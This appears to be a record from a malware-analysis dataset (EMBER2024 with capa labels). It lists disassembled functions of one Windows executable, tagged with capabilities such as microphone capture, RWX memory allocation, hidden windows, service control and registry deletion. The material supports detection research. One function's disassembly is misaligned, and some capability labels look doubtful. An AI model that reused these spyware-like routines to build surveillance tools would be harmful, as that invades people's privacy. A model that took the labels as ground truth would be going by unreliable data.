joyce8/EMBER2024-capa huggingface dataset:
Function at 0x466764
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x49af54
cmp dword [edi], 0
jne 0x4667e0
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x49af50]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x493af0
mov ecx, 2
call fcn.004030fc
mov edx, 0x46673c
lea eax, [esi + 5]
call fcn.0046675c
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0046675c
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x4667b5
mov dword [0x49af50], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x46695c
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 4], 0
je 0x466a72
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInUnprepareHeader
test eax, eax
jne 0x466a7d
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 8]
mov eax, dword [ebp - 4]
cmp word [eax + 0xa2], 0
je 0x466a00
mov eax, ebx
call fcn.00402f00
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4669f9
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, ebx
call fcn.004030fc
push ebx
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xa4]
call dword [ebx + 0xa0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x466a00
mov eax, dword [ebp - 0xc]
call fcn.00402f1c
ret
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
xor ecx, ecx
call fcn.00408570
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x466a7d
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x466a7d
jmp 0x466a7d
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00466c30
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x466a84
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff7c
mov esi, edx
lea edi, [esp]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, eax
cmp byte [ebx + 4], 0
jne 0x466afd
push 0x10004
push 0
mov eax, dword [ebx + 0x98]
push eax
lea eax, [esp + 0xc]
push eax
push 0
lea eax, [ebx + 0x94]
push eax
call sub.winmm.dll_waveInOpen
test eax, eax
jne 0x466afd
movzx esi, byte [ebx + 0x91]
test esi, esi
jle 0x466adc
mov eax, ebx
call fcn.00466bc8
dec esi
jne 0x466ad2
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
jne 0x466afd
mov esi, esp
lea edi, [ebx + 0x10]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebx + 4], 1
add esp, 0x84
pop edi
pop esi
pop ebx
ret

Function at 0x466bc8
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov eax, 0x20
call fcn.00402f00
mov edi, eax
mov edx, edi
mov eax, dword [ebx + 8]
call fcn.00466140
mov esi, edi
mov eax, dword [ebx + 0xc]
call fcn.00402f00
mov dword [esi], eax
mov eax, dword [ebx + 0xc]
mov dword [esi + 4], eax
xor eax, eax
mov dword [esi + 8], eax
xor eax, eax
mov dword [esi + 0x10], eax
xor eax, eax
mov dword [esi + 0x14], eax
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x466c28
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x466cd4
Capabilities:
Create a process with modified i/o handles and window
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc7c
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov edi, eax
mov eax, ebx
call fcn.0040a274
test al, al
jne 0x466cfa
mov byte [ebp - 1], 0
jmp 0x466eca
lea eax, [ebp - 0x119]
mov edx, edi
call fcn.0040a930
lea eax, [ebp - 0x21e]
mov edx, ebx
call fcn.0040a930
lea eax, [ebp - 0x323]
mov edx, esi
call fcn.0040a930
xor eax, eax
push ebp
push 0x466ec3
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x384]
xor ecx, ecx
mov edx, 0xc
call fcn.00403af4
mov dword [ebp - 0x384], 0xc
xor eax, eax
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], 0xffffffff
push 0
push pe_nt_image_headers32
push 4
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x21e]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x466d97
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x466eca
push 0
push pe_nt_image_headers32
push 2
lea eax, [ebp - 0x384]
push eax
push 3
push 0xc0000000
lea eax, [ebp - 0x323]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x466dd1
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x466eca
lea eax, [ebp - 0x368]
xor ecx, ecx
mov edx, 0x44
call fcn.00403af4
mov dword [ebp - 0x368], 0x44
mov dword [ebp - 0x33c], 0x101
mov word [ebp - 0x338], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x330], eax
lea eax, [ebp - 0x378]
push eax
lea eax, [ebp - 0x368]
push eax
push 0
push 0
push 0x110
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x119]
push eax
push 0
call sub.kernel32.dll_CreateProcessA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 1], al
cmp byte [ebp - 1], 0
je 0x466e6e
push 0xffffffffffffffff
mov eax, dword [ebp - 0x378]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov eax, dword [ebp - 0x378]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x374]
mov dword [ebp - 0xc], eax
jmp 0x466e79
mov byte [ebp - 1], 0
call fcn.00404f70
jmp 0x466eca
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x466eca
cmp dword [ebp - 0x14], 0
je 0x466e95
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0x10], 0
je 0x466ea4
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 0xc], 0
je 0x466eb3
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [ebp - 8], 0
je 0x466ec2
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle_1
ret
movzx eax, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4689e8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
push ebp
push ecx
mov esi, dword [ebx + 0x28]
mov edi, dword [ebx + 0x38]
sub edi, dword [ebx + 0x70]
sub edi, dword [ebx + 0x68]
jmp 0x468a17
mov eax, dword [ebx + 0x28]
sub eax, 0x106
add eax, esi
cmp eax, dword [ebx + 0x68]
ja 0x468a96
push esi
mov eax, dword [ebx + 0x34]
mov edx, eax
mov ebp, esi
add edx, ebp
push edx
push eax
call fcn.00467658
add esp, 0xc
sub dword [ebx + 0x6c], esi
sub dword [ebx + 0x68], esi
sub dword [ebx + 0x58], ebp
mov eax, dword [ebx + 0x48]
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x40]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x468a64
mov cx, word [esp]
sub cx, si
jmp 0x468a66
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x468a4d
mov eax, esi
mov edx, eax
add edx, edx
add edx, dword [ebx + 0x3c]
sub edx, 2
movzx ecx, word [edx]
mov dword [esp], ecx
cmp esi, dword [esp]
ja 0x468a8c
mov cx, word [esp]
sub cx, si
jmp 0x468a8e
xor ecx, ecx
mov word [edx], cx
dec eax
jne 0x468a75
add edi, esi
mov ebp, dword [ebx]
cmp dword [ebp + 4], 0
je 0x468af3
mov edx, dword [ebx + 0x34]
mov ecx, edi
add edx, dword [ebx + 0x68]
mov eax, ebp
add edx, dword [ebx + 0x70]
call fcn.004686d8
add dword [ebx + 0x70], eax
cmp dword [ebx + 0x70], 3
jb 0x468ade
mov eax, dword [ebx + 0x34]
mov edx, dword [ebx + 0x68]
movzx eax, byte [eax + edx]
mov dword [ebx + 0x44], eax
mov ecx, dword [ebx + 0x54]
shl eax, cl
mov edx, dword [ebx + 0x34]
mov ecx, dword [ebx + 0x68]
movzx edx, byte [edx + ecx + 1]
xor eax, edx
and eax, dword [ebx + 0x50]
mov dword [ebx + 0x44], eax
cmp dword [ebx + 0x70], 0x106
jae 0x468af3
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x4689f2
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x46d0c0
Capabilities:
Check os version

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff68
xor ebx, ebx
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x94
call fcn.00403af4
mov dword [esp + 4], 0x94
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x46d130
cmp dword [esp + 0x14], 2
jne 0x46d130
cmp dword [esp + 8], 6
jb 0x46d130
push 0x46d140
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x46d12a
push 0x46d14c
push esi
call sub.kernel32.dll_GetProcAddress_1
mov ebp, eax
mov edi, ebp
test ebp, ebp
je 0x46d12a
push esp
call edi
movzx ebx, byte [esp]
push esi
call sub.kernel32.dll_FreeLibrary_1
mov eax, ebx
add esp, 0x98
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x46d164
Capabilities:
Check os version

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff68
mov byte [esp], al
xor ebx, ebx
lea eax, [esp + 4]
xor ecx, ecx
mov edx, 0x94
call fcn.00403af4
mov dword [esp + 4], 0x94
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x46d1e0
cmp dword [esp + 0x14], 2
jne 0x46d1e0
cmp dword [esp + 8], 6
jb 0x46d1e0
push 0x46d1f0
call sub.kernel32.dll_LoadLibraryA
mov esi, eax
test esi, esi
je 0x46d1da
push 0x46d1fc
push esi
call sub.kernel32.dll_GetProcAddress_1
mov ebp, eax
mov edi, ebp
test ebp, ebp
je 0x46d1da
cmp byte [esp], 0
je 0x46d1d6
push 1
call edi
jmp 0x46d1da
push 0
call edi
push esi
call sub.kernel32.dll_FreeLibrary_1
mov eax, ebx
add esp, 0x98
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x46d488
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
xor eax, eax
push ebp
push 0x46d4f5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
lea eax, [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, 0x46d508
call fcn.00405864
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x46d50c
push 0x46d514
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d4fc
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x46d970
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x46d978
push ecx
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push ebp
push 0x46dab1
push dword fs:[eax]
mov dword fs:[eax], esp
mov bl, 0x41
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.00405718
lea eax, [ebp - 0xc]
mov edx, 0x46dac8
call fcn.00405818
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
call sub.kernel32.dll_GetDriveTypeA
mov esi, eax
cmp esi, 1
jle 0x46da7a
lea eax, [ebp - 0x18]
call fcn.0048a580
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x14]
call fcn.0040a5dc
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.00409b84
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x24]
mov edx, ebx
mov byte [eax + 1], dl
mov byte [eax], 1
lea edx, [ebp - 0x24]
lea eax, [ebp - 0x28]
call fcn.004039a0
mov edx, 0x46dacc
lea eax, [ebp - 0x28]
mov cl, 2
call fcn.00403970
lea edx, [ebp - 0x28]
lea eax, [ebp - 0x20]
call fcn.00405794
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x1c]
call fcn.00409b84
mov edx, dword [ebp - 0x1c]
pop eax
call fcn.00405974
jne 0x46da3c
lea eax, [ebp - 8]
mov edx, 0x46dad8
call fcn.004055c8
jmp 0x46da4b
lea eax, [ebp - 8]
mov edx, dword [esi*4 + 0x4951f8]
call fcn.004055c8
push dword [ebp - 4]
lea eax, [ebp - 0x2c]
mov edx, ebx
call fcn.00405718
push dword [ebp - 0x2c]
push 0x46dac8
push 0x46daec
push dword [ebp - 8]
push 0x46daf8
lea eax, [ebp - 4]
mov edx, 6
call fcn.004058e0
inc ebx
cmp bl, 0x5b
jne 0x46d995
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00405584
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46dab8
lea eax, [ebp - 0x2c]
call fcn.00405530
lea eax, [ebp - 0x20]
mov edx, 8
call fcn.00405554
ret

Function at 0x46dafc
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xffffffe8
mov ebx, eax
mov dword [esp], 0x10
push esp
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetComputerNameA
mov eax, ebx
lea edx, [esp + 4]
mov ecx, 0x11
call fcn.004057a0
add esp, 0x18
pop ebx
ret

Function at 0x46db6c
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dba0
call sub.user32.dll_FindWindowA
push 0
push 0x46dbb0
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push 0x46dbc0
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dbd0
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dc04
call sub.user32.dll_FindWindowA
push 0
push 0x46dc14
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push 0x46dc24
push 0
push eax
call sub.user32.dll_FindWindowExA
push 5
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dc34
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dc58
call sub.user32.dll_FindWindowA
push 0
push 0x46dc68
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dc78
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dc9c
call sub.user32.dll_FindWindowA
push 0
push 0x46dcac
push 0
push eax
call sub.user32.dll_FindWindowExA
push 5
push eax
call sub.user32.dll_ShowWindow
ret
Function at 0x46dcbc
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dce0
call sub.user32.dll_FindWindowA
push 0
push 0x46dcf0
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dd00
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dd24
call sub.user32.dll_FindWindowA
push 0
push 0x46dd34
push 0
push eax
call sub.user32.dll_FindWindowExA
push 5
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dd44
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dd60
push 0
push 0
call sub.user32.dll_FindWindowExA
push 0
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dd68
Capabilities:
Hide graphical window

Disassembly:
push 0
push 0x46dd84
push 0
push 0
call sub.user32.dll_FindWindowExA
push 5
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x46dd8c
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x46de47
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x46de2c
xor eax, eax
push ebp
push 0x46de25
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_OpenServiceA
mov ebx, eax
lea eax, [ebp - 0x28]
push eax
push 1
push ebx
call sub.advapi32.dll_ControlService
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46de2c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46de4e
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret
Function at 0x46de54
Capabilities:
Start service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x46df14
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf003f
push 0
mov eax, dword [ebp - 4]
call fcn.004059dc
push eax
call sub.advapi32.dll_OpenSCManagerA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x46def9
xor eax, eax
push ebp
push 0x46def2
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xf01ff
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_OpenServiceA
mov ebx, eax
xor eax, eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push 0
push ebx
call sub.advapi32.dll_StartServiceA
push ebx
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46def9
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_CloseServiceHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46df1b
lea eax, [ebp - 8]
mov edx, 2
call fcn.00405554
ret

Function at 0x46e1f8
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
mov eax, dword [ebp - 0xc]
call fcn.004059cc
xor eax, eax
push ebp
push 0x46e354
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409ee4
cmp eax, 5
ja case.default.0x46e23e
jmp dword [eax*4 + 0x46e245]
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000000
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e23e
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e23e
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e23e
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000003
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e23e
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000005
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e23e
lea eax, [ebp - 0x10]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000006
call sub.advapi32.dll_RegOpenKeyExA_1
mov eax, dword [ebp - 0xc]
call fcn.004059dc
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 0x10]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46e35b
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405554
ret
Function at 0x46e360
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x46e4ad
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409ee4
cmp eax, 5
ja case.default.0x46e39b
jmp dword [eax*4 + 0x46e3a2]
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e39b
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e39b
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000003
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e39b
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000005
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e39b
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000006
call sub.advapi32.dll_RegOpenKeyExA_1

Function at 0x46e3ba
Capabilities:
Delete registry key

Disassembly:
add byte [0x3d0046e4], bl
in al, 0x46
add byte [ebp - 0x1c], bl
inc esi
add byte [ebp + 0x6850f445], cl
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0

Function at 0x46e3dd
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004059cc
mov eax, dword [ebp - 8]
call fcn.004059cc
xor eax, eax
push ebp
push 0x46e4ad
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409ee4
cmp eax, 5
ja case.default.0x46e39b
jmp dword [eax*4 + 0x46e3a2]
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e39b
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e39b
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000003
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e39b
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000005
call sub.advapi32.dll_RegOpenKeyExA_1
jmp case.default.0x46e39b
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [ebp - 8]
call fcn.004059dc
push eax
push 0x80000006
call sub.advapi32.dll_RegOpenKeyExA_1